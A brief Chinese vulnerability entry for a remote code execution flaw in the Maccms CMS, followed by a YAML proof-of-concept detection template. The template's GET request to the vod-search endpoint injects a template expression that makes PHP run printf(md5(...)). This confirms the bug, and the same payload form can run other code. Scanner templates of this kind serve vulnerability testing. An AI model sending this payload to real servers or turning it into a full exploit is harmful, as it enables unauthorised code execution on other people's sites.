漏洞描述
Maccms RCE
maccms-rce: Maccms RCE
PoC代码[已公开]
id: maccms-rce
info:
name: Maccms RCE
author: hanxiansheng26
severity: critical
description: |-
Maccms RCE
tags: maccms,rce
created: 2025/03/27
set:
r: randomInt(800000000, 1000000000)
rules:
r0:
request:
method: GET
path: /index.php?m=vod-search&wd={if-A:printf(md5({{r}}))}{endif-A}
expression: response.body.bcontains(bytes(md5(string(r))))
expression: r0()